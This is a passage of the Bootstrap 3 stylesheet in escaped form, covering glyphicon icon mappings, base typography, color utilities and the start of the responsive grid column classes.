\"\\e012\";\n}\n.glyphicon-ok:before {\n  content: \"\\e013\";\n}\n.glyphicon-remove:before {\n  content: \"\\e014\";\n}\n.glyphicon-zoom-in:before {\n  content: \"\\e015\";\n}\n.glyphicon-zoom-out:before {\n  content: \"\\e016\";\n}\n.glyphicon-off:before {\n  content: \"\\e017\";\n}\n.glyphicon-signal:before {\n  content: \"\\e018\";\n}\n.glyphicon-cog:before {\n  content: \"\\e019\";\n}\n.glyphicon-trash:before {\n  content: \"\\e020\";\n}\n.glyphicon-home:before {\n  content: \"\\e021\";\n}\n.glyphicon-file:before {\n  content: \"\\e022\";\n}\n.glyphicon-time:before {\n  content: \"\\e023\";\n}\n.glyphicon-road:before {\n  content: \"\\e024\";\n}\n.glyphicon-download-alt:before {\n  content: \"\\e025\";\n}\n.glyphicon-download:before {\n  content: \"\\e026\";\n}\n.glyphicon-upload:before {\n  content: \"\\e027\";\n}\n.glyphicon-inbox:before {\n  content: \"\\e028\";\n}\n.glyphicon-play-circle:before {\n  content: \"\\e029\";\n}\n.glyphicon-repeat:before {\n  content: \"\\e030\";\n}\n.glyphicon-refresh:before {\n  content: \"\\e031\";\n}\n.glyphicon-list-alt:before {\n  content: \"\\e032\";\n}\n.glyphicon-lock:before {\n  content: \"\\e033\";\n}\n.glyphicon-flag:before {\n  content: \"\\e034\";\n}\n.glyphicon-headphones:before {\n  content: \"\\e035\";\n}\n.glyphicon-volume-off:before {\n  content: \"\\e036\";\n}\n.glyphicon-volume-down:before {\n  content: \"\\e037\";\n}\n.glyphicon-volume-up:before {\n  content: \"\\e038\";\n}\n.glyphicon-qrcode:before {\n  content: \"\\e039\";\n}\n.glyphicon-barcode:before {\n  content: \"\\e040\";\n}\n.glyphicon-tag:before {\n  content: \"\\e041\";\n}\n.glyphicon-tags:before {\n  content: \"\\e042\";\n}\n.glyphicon-book:before {\n  content: \"\\e043\";\n}\n.glyphicon-bookmark:before {\n  content: \"\\e044\";\n}\n.glyphicon-print:before {\n  content: \"\\e045\";\n}\n.glyphicon-camera:before {\n  content: \"\\e046\";\n}\n.glyphicon-font:before {\n  content: \"\\e047\";\n}\n.glyphicon-bold:before {\n  content: \"\\e048\";\n}\n.glyphicon-italic:before {\n  content: \"\\e049\";\n}\n.glyphicon-text-height:before {\n  content: \"\\e050\";\n}\n.glyphicon-text-width:before {\n  content: \"\\e051\";\n}\n.glyphicon-align-left:before {\n  content: \"\\e052\";\n}\n.glyphicon-align-center:before {\n  content: \"\\e053\";\n}\n.glyphicon-align-right:before {\n  content: \"\\e054\";\n}\n.glyphicon-align-justify:before {\n  content: \"\\e055\";\n}\n.glyphicon-list:before {\n  content: \"\\e056\";\n}\n.glyphicon-indent-left:before {\n  content: \"\\e057\";\n}\n.glyphicon-indent-right:before {\n  content: \"\\e058\";\n}\n.glyphicon-facetime-video:before {\n  content: \"\\e059\";\n}\n.glyphicon-picture:before {\n  content: \"\\e060\";\n}\n.glyphicon-map-marker:before {\n  content: \"\\e062\";\n}\n.glyphicon-adjust:before {\n  content: \"\\e063\";\n}\n.glyphicon-tint:before {\n  content: \"\\e064\";\n}\n.glyphicon-edit:before {\n  content: \"\\e065\";\n}\n.glyphicon-share:before {\n  content: \"\\e066\";\n}\n.glyphicon-check:before {\n  content: \"\\e067\";\n}\n.glyphicon-move:before {\n  content: \"\\e068\";\n}\n.glyphicon-step-backward:before {\n  content: \"\\e069\";\n}\n.glyphicon-fast-backward:before {\n  content: \"\\e070\";\n}\n.glyphicon-backward:before {\n  content: \"\\e071\";\n}\n.glyphicon-play:before {\n  content: \"\\e072\";\n}\n.glyphicon-pause:before {\n  content: \"\\e073\";\n}\n.glyphicon-stop:before {\n  content: \"\\e074\";\n}\n.glyphicon-forward:before {\n  content: \"\\e075\";\n}\n.glyphicon-fast-forward:before {\n  content: \"\\e076\";\n}\n.glyphicon-step-forward:before {\n  content: \"\\e077\";\n}\n.glyphicon-eject:before {\n  content: \"\\e078\";\n}\n.glyphicon-chevron-left:before {\n  content: \"\\e079\";\n}\n.glyphicon-chevron-right:before {\n  content: \"\\e080\";\n}\n.glyphicon-plus-sign:before {\n  content: \"\\e081\";\n}\n.glyphicon-minus-sign:before {\n  content: \"\\e082\";\n}\n.glyphicon-remove-sign:before {\n  content: \"\\e083\";\n}\n.glyphicon-ok-sign:before {\n  content: \"\\e084\";\n}\n.glyphicon-question-sign:before {\n  content: \"\\e085\";\n}\n.glyphicon-info-sign:before {\n  content: \"\\e086\";\n}\n.glyphicon-screenshot:before {\n  content: \"\\e087\";\n}\n.glyphicon-remove-circle:before {\n  content: \"\\e088\";\n}\n.glyphicon-ok-circle:before {\n  content: \"\\e089\";\n}\n.glyphicon-ban-circle:before {\n  content: \"\\e090\";\n}\n.glyphicon-arrow-left:before {\n  content: \"\\e091\";\n}\n.glyphicon-arrow-right:before {\n  content: \"\\e092\";\n}\n.glyphicon-arrow-up:before {\n  content: \"\\e093\";\n}\n.glyphicon-arrow-down:before {\n  content: \"\\e094\";\n}\n.glyphicon-share-alt:before {\n  content: \"\\e095\";\n}\n.glyphicon-resize-full:before {\n  content: \"\\e096\";\n}\n.glyphicon-resize-small:before {\n  content: \"\\e097\";\n}\n.glyphicon-exclamation-sign:before {\n  content: \"\\e101\";\n}\n.glyphicon-gift:before {\n  content: \"\\e102\";\n}\n.glyphicon-leaf:before {\n  content: \"\\e103\";\n}\n.glyphicon-fire:before {\n  content: \"\\e104\";\n}\n.glyphicon-eye-open:before {\n  content: \"\\e105\";\n}\n.glyphicon-eye-close:before {\n  content: \"\\e106\";\n}\n.glyphicon-warning-sign:before {\n  content: \"\\e107\";\n}\n.glyphicon-plane:before {\n  content: \"\\e108\";\n}\n.glyphicon-calendar:before {\n  content: \"\\e109\";\n}\n.glyphicon-random:before {\n  content: \"\\e110\";\n}\n.glyphicon-comment:before {\n  content: \"\\e111\";\n}\n.glyphicon-magnet:before {\n  content: \"\\e112\";\n}\n.glyphicon-chevron-up:before {\n  content: \"\\e113\";\n}\n.glyphicon-chevron-down:before {\n  content: \"\\e114\";\n}\n.glyphicon-retweet:before {\n  content: \"\\e115\";\n}\n.glyphicon-shopping-cart:before {\n  content: \"\\e116\";\n}\n.glyphicon-folder-close:before {\n  content: \"\\e117\";\n}\n.glyphicon-folder-open:before {\n  content: \"\\e118\";\n}\n.glyphicon-resize-vertical:before {\n  content: \"\\e119\";\n}\n.glyphicon-resize-horizontal:before {\n  content: \"\\e120\";\n}\n.glyphicon-hdd:before {\n  content: \"\\e121\";\n}\n.glyphicon-bullhorn:before {\n  content: \"\\e122\";\n}\n.glyphicon-bell:before {\n  content: \"\\e123\";\n}\n.glyphicon-certificate:before {\n  content: \"\\e124\";\n}\n.glyphicon-thumbs-up:before {\n  content: \"\\e125\";\n}\n.glyphicon-thumbs-down:before {\n  content: \"\\e126\";\n}\n.glyphicon-hand-right:before {\n  content: \"\\e127\";\n}\n.glyphicon-hand-left:before {\n  content: \"\\e128\";\n}\n.glyphicon-hand-up:before {\n  content: \"\\e129\";\n}\n.glyphicon-hand-down:before {\n  content: \"\\e130\";\n}\n.glyphicon-circle-arrow-right:before {\n  content: \"\\e131\";\n}\n.glyphicon-circle-arrow-left:before {\n  content: \"\\e132\";\n}\n.glyphicon-circle-arrow-up:before {\n  content: \"\\e133\";\n}\n.glyphicon-circle-arrow-down:before {\n  content: \"\\e134\";\n}\n.glyphicon-globe:before {\n  content: \"\\e135\";\n}\n.glyphicon-wrench:before {\n  content: \"\\e136\";\n}\n.glyphicon-tasks:before {\n  content: \"\\e137\";\n}\n.glyphicon-filter:before {\n  content: \"\\e138\";\n}\n.glyphicon-briefcase:before {\n  content: \"\\e139\";\n}\n.glyphicon-fullscreen:before {\n  content: \"\\e140\";\n}\n.glyphicon-dashboard:before {\n  content: \"\\e141\";\n}\n.glyphicon-paperclip:before {\n  content: \"\\e142\";\n}\n.glyphicon-heart-empty:before {\n  content: \"\\e143\";\n}\n.glyphicon-link:before {\n  content: \"\\e144\";\n}\n.glyphicon-phone:before {\n  content: \"\\e145\";\n}\n.glyphicon-pushpin:before {\n  content: \"\\e146\";\n}\n.glyphicon-usd:before {\n  content: \"\\e148\";\n}\n.glyphicon-gbp:before {\n  content: \"\\e149\";\n}\n.glyphicon-sort:before {\n  content: \"\\e150\";\n}\n.glyphicon-sort-by-alphabet:before {\n  content: \"\\e151\";\n}\n.glyphicon-sort-by-alphabet-alt:before {\n  content: \"\\e152\";\n}\n.glyphicon-sort-by-order:before {\n  content: \"\\e153\";\n}\n.glyphicon-sort-by-order-alt:before {\n  content: \"\\e154\";\n}\n.glyphicon-sort-by-attributes:before {\n  content: \"\\e155\";\n}\n.glyphicon-sort-by-attributes-alt:before {\n  content: \"\\e156\";\n}\n.glyphicon-unchecked:before {\n  content: \"\\e157\";\n}\n.glyphicon-expand:before {\n  content: \"\\e158\";\n}\n.glyphicon-collapse-down:before {\n  content: \"\\e159\";\n}\n.glyphicon-collapse-up:before {\n  content: \"\\e160\";\n}\n.glyphicon-log-in:before {\n  content: \"\\e161\";\n}\n.glyphicon-flash:before {\n  content: \"\\e162\";\n}\n.glyphicon-log-out:before {\n  content: \"\\e163\";\n}\n.glyphicon-new-window:before {\n  content: \"\\e164\";\n}\n.glyphicon-record:before {\n  content: \"\\e165\";\n}\n.glyphicon-save:before {\n  content: \"\\e166\";\n}\n.glyphicon-open:before {\n  content: \"\\e167\";\n}\n.glyphicon-saved:before {\n  content: \"\\e168\";\n}\n.glyphicon-import:before {\n  content: \"\\e169\";\n}\n.glyphicon-export:before {\n  content: \"\\e170\";\n}\n.glyphicon-send:before {\n  content: \"\\e171\";\n}\n.glyphicon-floppy-disk:before {\n  content: \"\\e172\";\n}\n.glyphicon-floppy-saved:before {\n  content: \"\\e173\";\n}\n.glyphicon-floppy-remove:before {\n  content: \"\\e174\";\n}\n.glyphicon-floppy-save:before {\n  content: \"\\e175\";\n}\n.glyphicon-floppy-open:before {\n  content: \"\\e176\";\n}\n.glyphicon-credit-card:before {\n  content: \"\\e177\";\n}\n.glyphicon-transfer:before {\n  content: \"\\e178\";\n}\n.glyphicon-cutlery:before {\n  content: \"\\e179\";\n}\n.glyphicon-header:before {\n  content: \"\\e180\";\n}\n.glyphicon-compressed:before {\n  content: \"\\e181\";\n}\n.glyphicon-earphone:before {\n  content: \"\\e182\";\n}\n.glyphicon-phone-alt:before {\n  content: \"\\e183\";\n}\n.glyphicon-tower:before {\n  content: \"\\e184\";\n}\n.glyphicon-stats:before {\n  content: \"\\e185\";\n}\n.glyphicon-sd-video:before {\n  content: \"\\e186\";\n}\n.glyphicon-hd-video:before {\n  content: \"\\e187\";\n}\n.glyphicon-subtitles:before {\n  content: \"\\e188\";\n}\n.glyphicon-sound-stereo:before {\n  content: \"\\e189\";\n}\n.glyphicon-sound-dolby:before {\n  content: \"\\e190\";\n}\n.glyphicon-sound-5-1:before {\n  content: \"\\e191\";\n}\n.glyphicon-sound-6-1:before {\n  content: \"\\e192\";\n}\n.glyphicon-sound-7-1:before {\n  content: \"\\e193\";\n}\n.glyphicon-copyright-mark:before {\n  content: \"\\e194\";\n}\n.glyphicon-registration-mark:before {\n  content: \"\\e195\";\n}\n.glyphicon-cloud-download:before {\n  content: \"\\e197\";\n}\n.glyphicon-cloud-upload:before {\n  content: \"\\e198\";\n}\n.glyphicon-tree-conifer:before {\n  content: \"\\e199\";\n}\n.glyphicon-tree-deciduous:before {\n  content: \"\\e200\";\n}\n.glyphicon-cd:before {\n  content: \"\\e201\";\n}\n.glyphicon-save-file:before {\n  content: \"\\e202\";\n}\n.glyphicon-open-file:before {\n  content: \"\\e203\";\n}\n.glyphicon-level-up:before {\n  content: \"\\e204\";\n}\n.glyphicon-copy:before {\n  content: \"\\e205\";\n}\n.glyphicon-paste:before {\n  content: \"\\e206\";\n}\n.glyphicon-alert:before {\n  content: \"\\e209\";\n}\n.glyphicon-equalizer:before {\n  content: \"\\e210\";\n}\n.glyphicon-king:before {\n  content: \"\\e211\";\n}\n.glyphicon-queen:before {\n  content: \"\\e212\";\n}\n.glyphicon-pawn:before {\n  content: \"\\e213\";\n}\n.glyphicon-bishop:before {\n  content: \"\\e214\";\n}\n.glyphicon-knight:before {\n  content: \"\\e215\";\n}\n.glyphicon-baby-formula:before {\n  content: \"\\e216\";\n}\n.glyphicon-tent:before {\n  content: \"\\26fa\";\n}\n.glyphicon-blackboard:before {\n  content: \"\\e218\";\n}\n.glyphicon-bed:before {\n  content: \"\\e219\";\n}\n.glyphicon-apple:before {\n  content: \"\\f8ff\";\n}\n.glyphicon-erase:before {\n  content: \"\\e221\";\n}\n.glyphicon-hourglass:before {\n  content: \"\\231b\";\n}\n.glyphicon-lamp:before {\n  content: \"\\e223\";\n}\n.glyphicon-duplicate:before {\n  content: \"\\e224\";\n}\n.glyphicon-piggy-bank:before {\n  content: \"\\e225\";\n}\n.glyphicon-scissors:before {\n  content: \"\\e226\";\n}\n.glyphicon-bitcoin:before {\n  content: \"\\e227\";\n}\n.glyphicon-btc:before {\n  content: \"\\e227\";\n}\n.glyphicon-xbt:before {\n  content: \"\\e227\";\n}\n.glyphicon-yen:before {\n  content: \"\\00a5\";\n}\n.glyphicon-jpy:before {\n  content: \"\\00a5\";\n}\n.glyphicon-ruble:before {\n  content: \"\\20bd\";\n}\n.glyphicon-rub:before {\n  content: \"\\20bd\";\n}\n.glyphicon-scale:before {\n  content: \"\\e230\";\n}\n.glyphicon-ice-lolly:before {\n  content: \"\\e231\";\n}\n.glyphicon-ice-lolly-tasted:before {\n  content: \"\\e232\";\n}\n.glyphicon-education:before {\n  content: \"\\e233\";\n}\n.glyphicon-option-horizontal:before {\n  content: \"\\e234\";\n}\n.glyphicon-option-vertical:before {\n  content: \"\\e235\";\n}\n.glyphicon-menu-hamburger:before {\n  content: \"\\e236\";\n}\n.glyphicon-modal-window:before {\n  content: \"\\e237\";\n}\n.glyphicon-oil:before {\n  content: \"\\e238\";\n}\n.glyphicon-grain:before {\n  content: \"\\e239\";\n}\n.glyphicon-sunglasses:before {\n  content: \"\\e240\";\n}\n.glyphicon-text-size:before {\n  content: \"\\e241\";\n}\n.glyphicon-text-color:before {\n  content: \"\\e242\";\n}\n.glyphicon-text-background:before {\n  content: \"\\e243\";\n}\n.glyphicon-object-align-top:before {\n  content: \"\\e244\";\n}\n.glyphicon-object-align-bottom:before {\n  content: \"\\e245\";\n}\n.glyphicon-object-align-horizontal:before {\n  content: \"\\e246\";\n}\n.glyphicon-object-align-left:before {\n  content: \"\\e247\";\n}\n.glyphicon-object-align-vertical:before {\n  content: \"\\e248\";\n}\n.glyphicon-object-align-right:before {\n  content: \"\\e249\";\n}\n.glyphicon-triangle-right:before {\n  content: \"\\e250\";\n}\n.glyphicon-triangle-left:before {\n  content: \"\\e251\";\n}\n.glyphicon-triangle-bottom:before {\n  content: \"\\e252\";\n}\n.glyphicon-triangle-top:before {\n  content: \"\\e253\";\n}\n.glyphicon-console:before {\n  content: \"\\e254\";\n}\n.glyphicon-superscript:before {\n  content: \"\\e255\";\n}\n.glyphicon-subscript:before {\n  content: \"\\e256\";\n}\n.glyphicon-menu-left:before {\n  content: \"\\e257\";\n}\n.glyphicon-menu-right:before {\n  content: \"\\e258\";\n}\n.glyphicon-menu-down:before {\n  content: \"\\e259\";\n}\n.glyphicon-menu-up:before {\n  content: \"\\e260\";\n}\n* {\n  -webkit-box-sizing: border-box;\n     -moz-box-sizing: border-box;\n          box-sizing: border-box;\n}\n*:before,\n*:after {\n  -webkit-box-sizing: border-box;\n     -moz-box-sizing: border-box;\n          box-sizing: border-box;\n}\nhtml {\n  font-size: 10px;\n\n  -webkit-tap-highlight-color: rgba(0, 0, 0, 0);\n}\nbody {\n  font-family: \"Helvetica Neue\", Helvetica, Arial, sans-serif;\n  font-size: 14px;\n  line-height: 1.42857143;\n  color: #333;\n  background-color: #fff;\n}\ninput,\nbutton,\nselect,\ntextarea {\n  font-family: inherit;\n  font-size: inherit;\n  line-height: inherit;\n}\na {\n  color: #337ab7;\n  text-decoration: none;\n}\na:hover,\na:focus {\n  color: #23527c;\n  text-decoration: underline;\n}\na:focus {\n  outline: thin dotted;\n  outline: 5px auto -webkit-focus-ring-color;\n  outline-offset: -2px;\n}\nfigure {\n  margin: 0;\n}\nimg {\n  vertical-align: middle;\n}\n.img-responsive,\n.thumbnail > img,\n.thumbnail a > img,\n.carousel-inner > .item > img,\n.carousel-inner > .item > a > img {\n  display: block;\n  max-width: 100%;\n  height: auto;\n}\n.img-rounded {\n  border-radius: 6px;\n}\n.img-thumbnail {\n  display: inline-block;\n  max-width: 100%;\n  height: auto;\n  padding: 4px;\n  line-height: 1.42857143;\n  background-color: #fff;\n  border: 1px solid #ddd;\n  border-radius: 4px;\n  -webkit-transition: all .2s ease-in-out;\n       -o-transition: all .2s ease-in-out;\n          transition: all .2s ease-in-out;\n}\n.img-circle {\n  border-radius: 50%;\n}\nhr {\n  margin-top: 20px;\n  margin-bottom: 20px;\n  border: 0;\n  border-top: 1px solid #eee;\n}\n.sr-only {\n  position: absolute;\n  width: 1px;\n  height: 1px;\n  padding: 0;\n  margin: -1px;\n  overflow: hidden;\n  clip: rect(0, 0, 0, 0);\n  border: 0;\n}\n.sr-only-focusable:active,\n.sr-only-focusable:focus {\n  position: static;\n  width: auto;\n  height: auto;\n  margin: 0;\n  overflow: visible;\n  clip: auto;\n}\n[role=\"button\"] {\n  cursor: pointer;\n}\nh1,\nh2,\nh3,\nh4,\nh5,\nh6,\n.h1,\n.h2,\n.h3,\n.h4,\n.h5,\n.h6 {\n  font-family: inherit;\n  font-weight: 500;\n  line-height: 1.1;\n  color: inherit;\n}\nh1 small,\nh2 small,\nh3 small,\nh4 small,\nh5 small,\nh6 small,\n.h1 small,\n.h2 small,\n.h3 small,\n.h4 small,\n.h5 small,\n.h6 small,\nh1 .small,\nh2 .small,\nh3 .small,\nh4 .small,\nh5 .small,\nh6 .small,\n.h1 .small,\n.h2 .small,\n.h3 .small,\n.h4 .small,\n.h5 .small,\n.h6 .small {\n  font-weight: normal;\n  line-height: 1;\n  color: #777;\n}\nh1,\n.h1,\nh2,\n.h2,\nh3,\n.h3 {\n  margin-top: 20px;\n  margin-bottom: 10px;\n}\nh1 small,\n.h1 small,\nh2 small,\n.h2 small,\nh3 small,\n.h3 small,\nh1 .small,\n.h1 .small,\nh2 .small,\n.h2 .small,\nh3 .small,\n.h3 .small {\n  font-size: 65%;\n}\nh4,\n.h4,\nh5,\n.h5,\nh6,\n.h6 {\n  margin-top: 10px;\n  margin-bottom: 10px;\n}\nh4 small,\n.h4 small,\nh5 small,\n.h5 small,\nh6 small,\n.h6 small,\nh4 .small,\n.h4 .small,\nh5 .small,\n.h5 .small,\nh6 .small,\n.h6 .small {\n  font-size: 75%;\n}\nh1,\n.h1 {\n  font-size: 36px;\n}\nh2,\n.h2 {\n  font-size: 30px;\n}\nh3,\n.h3 {\n  font-size: 24px;\n}\nh4,\n.h4 {\n  font-size: 18px;\n}\nh5,\n.h5 {\n  font-size: 14px;\n}\nh6,\n.h6 {\n  font-size: 12px;\n}\np {\n  margin: 0 0 10px;\n}\n.lead {\n  margin-bottom: 20px;\n  font-size: 16px;\n  font-weight: 300;\n  line-height: 1.4;\n}\n@media (min-width: 768px) {\n  .lead {\n    font-size: 21px;\n  }\n}\nsmall,\n.small {\n  font-size: 85%;\n}\nmark,\n.mark {\n  padding: .2em;\n  background-color: #fcf8e3;\n}\n.text-left {\n  text-align: left;\n}\n.text-right {\n  text-align: right;\n}\n.text-center {\n  text-align: center;\n}\n.text-justify {\n  text-align: justify;\n}\n.text-nowrap {\n  white-space: nowrap;\n}\n.text-lowercase {\n  text-transform: lowercase;\n}\n.text-uppercase {\n  text-transform: uppercase;\n}\n.text-capitalize {\n  text-transform: capitalize;\n}\n.text-muted {\n  color: #777;\n}\n.text-primary {\n  color: #337ab7;\n}\na.text-primary:hover {\n  color: #286090;\n}\n.text-success {\n  color: #3c763d;\n}\na.text-success:hover {\n  color: #2b542c;\n}\n.text-info {\n  color: #31708f;\n}\na.text-info:hover {\n  color: #245269;\n}\n.text-warning {\n  color: #8a6d3b;\n}\na.text-warning:hover {\n  color: #66512c;\n}\n.text-danger {\n  color: #a94442;\n}\na.text-danger:hover {\n  color: #843534;\n}\n.bg-primary {\n  color: #fff;\n  background-color: #337ab7;\n}\na.bg-primary:hover {\n  background-color: #286090;\n}\n.bg-success {\n  background-color: #dff0d8;\n}\na.bg-success:hover {\n  background-color: #c1e2b3;\n}\n.bg-info {\n  background-color: #d9edf7;\n}\na.bg-info:hover {\n  background-color: #afd9ee;\n}\n.bg-warning {\n  background-color: #fcf8e3;\n}\na.bg-warning:hover {\n  background-color: #f7ecb5;\n}\n.bg-danger {\n  background-color: #f2dede;\n}\na.bg-danger:hover {\n  background-color: #e4b9b9;\n}\n.page-header {\n  padding-bottom: 9px;\n  margin: 40px 0 20px;\n  border-bottom: 1px solid #eee;\n}\nul,\nol {\n  margin-top: 0;\n  margin-bottom: 10px;\n}\nul ul,\nol ul,\nul ol,\nol ol {\n  margin-bottom: 0;\n}\n.list-unstyled {\n  padding-left: 0;\n  list-style: none;\n}\n.list-inline {\n  padding-left: 0;\n  margin-left: -5px;\n  list-style: none;\n}\n.list-inline > li {\n  display: inline-block;\n  padding-right: 5px;\n  padding-left: 5px;\n}\ndl {\n  margin-top: 0;\n  margin-bottom: 20px;\n}\ndt,\ndd {\n  line-height: 1.42857143;\n}\ndt {\n  font-weight: bold;\n}\ndd {\n  margin-left: 0;\n}\n@media (min-width: 768px) {\n  .dl-horizontal dt {\n    float: left;\n    width: 160px;\n    overflow: hidden;\n    clear: left;\n    text-align: right;\n    text-overflow: ellipsis;\n    white-space: nowrap;\n  }\n  .dl-horizontal dd {\n    margin-left: 180px;\n  }\n}\nabbr[title],\nabbr[data-original-title] {\n  cursor: help;\n  border-bottom: 1px dotted #777;\n}\n.initialism {\n  font-size: 90%;\n  text-transform: uppercase;\n}\nblockquote {\n  padding: 10px 20px;\n  margin: 0 0 20px;\n  font-size: 17.5px;\n  border-left: 5px solid #eee;\n}\nblockquote p:last-child,\nblockquote ul:last-child,\nblockquote ol:last-child {\n  margin-bottom: 0;\n}\nblockquote footer,\nblockquote small,\nblockquote .small {\n  display: block;\n  font-size: 80%;\n  line-height: 1.42857143;\n  color: #777;\n}\nblockquote footer:before,\nblockquote small:before,\nblockquote .small:before {\n  content: '\\2014 \\00A0';\n}\n.blockquote-reverse,\nblockquote.pull-right {\n  padding-right: 15px;\n  padding-left: 0;\n  text-align: right;\n  border-right: 5px solid #eee;\n  border-left: 0;\n}\n.blockquote-reverse footer:before,\nblockquote.pull-right footer:before,\n.blockquote-reverse small:before,\nblockquote.pull-right small:before,\n.blockquote-reverse .small:before,\nblockquote.pull-right .small:before {\n  content: '';\n}\n.blockquote-reverse footer:after,\nblockquote.pull-right footer:after,\n.blockquote-reverse small:after,\nblockquote.pull-right small:after,\n.blockquote-reverse .small:after,\nblockquote.pull-right .small:after {\n  content: '\\00A0 \\2014';\n}\naddress {\n  margin-bottom: 20px;\n  font-style: normal;\n  line-height: 1.42857143;\n}\ncode,\nkbd,\npre,\nsamp {\n  font-family: Menlo, Monaco, Consolas, \"Courier New\", monospace;\n}\ncode {\n  padding: 2px 4px;\n  font-size: 90%;\n  color: #c7254e;\n  background-color: #f9f2f4;\n  border-radius: 4px;\n}\nkbd {\n  padding: 2px 4px;\n  font-size: 90%;\n  color: #fff;\n  background-color: #333;\n  border-radius: 3px;\n  -webkit-box-shadow: inset 0 -1px 0 rgba(0, 0, 0, .25);\n          box-shadow: inset 0 -1px 0 rgba(0, 0, 0, .25);\n}\nkbd kbd {\n  padding: 0;\n  font-size: 100%;\n  font-weight: bold;\n  -webkit-box-shadow: none;\n          box-shadow: none;\n}\npre {\n  display: block;\n  padding: 9.5px;\n  margin: 0 0 10px;\n  font-size: 13px;\n  line-height: 1.42857143;\n  color: #333;\n  word-break: break-all;\n  word-wrap: break-word;\n  background-color: #f5f5f5;\n  border: 1px solid #ccc;\n  border-radius: 4px;\n}\npre code {\n  padding: 0;\n  font-size: inherit;\n  color: inherit;\n  white-space: pre-wrap;\n  background-color: transparent;\n  border-radius: 0;\n}\n.pre-scrollable {\n  max-height: 340px;\n  overflow-y: scroll;\n}\n.container {\n  padding-right: 15px;\n  padding-left: 15px;\n  margin-right: auto;\n  margin-left: auto;\n}\n@media (min-width: 768px) {\n  .container {\n    width: 750px;\n  }\n}\n@media (min-width: 992px) {\n  .container {\n    width: 970px;\n  }\n}\n@media (min-width: 1200px) {\n  .container {\n    width: 1170px;\n  }\n}\n.container-fluid {\n  padding-right: 15px;\n  padding-left: 15px;\n  margin-right: auto;\n  margin-left: auto;\n}\n.row {\n  margin-right: -15px;\n  margin-left: -15px;\n}\n.col-xs-1, .col-sm-1, .col-md-1, .col-lg-1, .col-xs-2, .col-sm-2, .col-md-2, .col-lg-2, .col-xs-3, .col-sm-3, .col-md-3, .col-lg-3, .col-xs-4, .col-sm-4, .col-md-4, .col-lg-4, .col-xs-5, .col-sm-5, .col-md-5, .col-lg-5, .col-xs-6, .col-sm-6, .col-md-6, .col-lg-6, .col-xs-7, .col-sm-7, .col-md-7, .col-lg-7, .col-xs-8, .col-sm-8, .col-md-8, .col-lg-8, .col-xs-9, .col-sm-9, .col-md-9, .col-lg-9, .col-xs-10, .col-sm-10, .col-md-10, .col-lg-10, .col-xs-11, .col-sm-11, .col-md-11, .col-lg-11, .col-xs-12, .col-sm-12, .col-md-12, .col-lg-12 {\n  position: relative;\n  min-height: 1px;\n  padding-right: 15px;\n  padding-left: 15px;\n}\n.col-xs-1, .col-xs-2, .col-xs-3, .col-xs-4, .col-xs-5, .col-xs-6, .col-xs-7, .col-xs-8, .col-xs-9, .col-xs-10, .col-xs-11, .col-xs-12 {\n  float: left;\n}\n.col-xs-12 {\n  width: 100%;\n}\n.col-xs-11 {\n  width: 91.66666667%;\n}\n.col-xs-10 {\n  width: 83.33333333%;\n}\n.col-xs-9 {\n  width: 75%;\n}\n.col-xs-8 {\n  width: 66.66666667%;\n}\n.col-xs-7 {\n  width: 58.33333333%;\n}\n.col-xs-6 {\n  width: 50%;\n}\n.col-xs-5 {\n  width: 41.66666667%;\n}\n.col-xs-4 {\n  width: 33.33333333%;\n}\n.col-xs-3 {\n  width: 25%;\n}\n.col-xs-2 {\n  width: 16.66666667%;\n}\n.col-xs-1 {\n  width: 8.33333333%;\n}\n.col-xs-pull-12 {\n  right: 100%;\n}\n.col-xs-pull-11 {\n  right: 91.66666667%;\n}\n.col-xs-pull-10 {\n  right: 83.33333333%;\n}\n.col-xs-pull-9 {\n  right: 75%;\n}\n.col-xs-pull-8 {\n  right: 66.66666667%;\n}\n.col-xs-pull-7 {\n  right: 58.33333333%;\n}\n.col-xs-pull-6 {\n  right: 50%;\n}\n.col-xs-pull-5 {\n  right: 41.66666667%;\n}\n.col-xs-pull-4 {\n  right: 33.33333333%;\n}\n.col-xs-pull-3 {\n  right: 25%;\n}\n.col-xs-pull-2 {\n  right: 16.66666667%;\n}\n.col-xs-pull-1 {\n  right: 8.33333333%;\n}\n.col-xs-pull-0 {\n  right: auto;\n}\n.col-xs-push-12 {\n  left: 100%;\n}\n.col-xs-push-11 {\n  left: 91.66666667%;\n}\n.col-xs-push-10 {\n  left: 83.33333333%;\n}\n.col-xs-push-9 {\n  left: 75%;\n}\n.col-xs-push-8 {\n  left: 66.66666667%;\n}\n.col-xs-push-7 {\n  left: 58.33333333%;\n}\n.col-xs-push-6 {\n  left: 50%;\n}\n.col-xs-push-5 {\n  left: 41.66666667%;\n}\n.col-xs-push-4 {\n  left: 33.33333333%;\n}\n.col-xs-push-3 {\n  left: 25%;\n}\n.col-xs-push-2 {\n  left: 16.66666667%;\n}\n.col-xs-push-1 {\n  left: 8.33333333%;\n}\n.col-xs-push-0 {\n  left: auto;\n}\n.col-xs-offset-12 {\n  margin-left: 100%;\n}\n.col-xs-offset-11 {\n  margin-left: 91.66666667%;\n}\n.col-xs-offset-10 {\n  margin-left: 83.33333333%;\n}\n.col-xs-offset-9 {\n  margin-left: 75%;\n}\n.col-xs-offset-8 {\n  margin-left: 66.66666667%;\n}\n.col-xs-offset-7 {\n  margin-left: 58.33333333%;\n}\n.col-xs-offset-6 {\n  margin-left: 50%;\n}\n.col-xs-offset-5 {\n  margin-left: 41.66666667%;\n}\n.col-xs-offset-4 {\n  margin-left: 33.33333333%;\n}\n.col-xs-offset-3 {\n  margin-left: 25%;\n}\n.col-xs-offset-2 {\n  margin-left: 16.66666667%;\n}\n.col-xs-offset-1 {\n  margin-left: 8.33333333%;\n}\n.col-xs-offset-0 {\n  margin-left: 0;\n}\n@media (min-width: 768px) {\n  .col-sm-1, .col-sm-2, .col-sm-3, .col-sm-4, .col-sm-5, .col-sm-6, .col-sm-7, .col-sm-8, .col-sm-9, .col-sm-10, .col-sm-11, .col-sm-12 {\n    float: left;\n  }\n  .col-sm-12 {\n    width: 100%;\n  }\n  .col-sm-11 {\n    width: 91.66666667%;\n  }\n  .col-sm-10 {\n    width: 83.33333333%;\n  }\n  .col-sm-9 {\n    width: 75%;\n  }\n  .col-sm-8 {\n    width: 66.66666667%;\n  }\n  .col-sm-7 {\n    width: 58.33333333%;\n  }\n  .col-sm-6 {\n    width: 50%;\n  }\n  .col-sm-5 {\n    width: 41.66666667%;\n  }\n  .col-sm-4 {\n    width: 33.33333333%;\n  }\n  .col-sm-3 {\n    width: 25%;\n  }\n  .col-sm-2 {\n    width: 16.66666667%;\n  }\n  .col-sm-1 {\n    width: 8.33333333%;\n  }\n  .col-sm-pull-12 {\n    right: 100%;\n  }\n  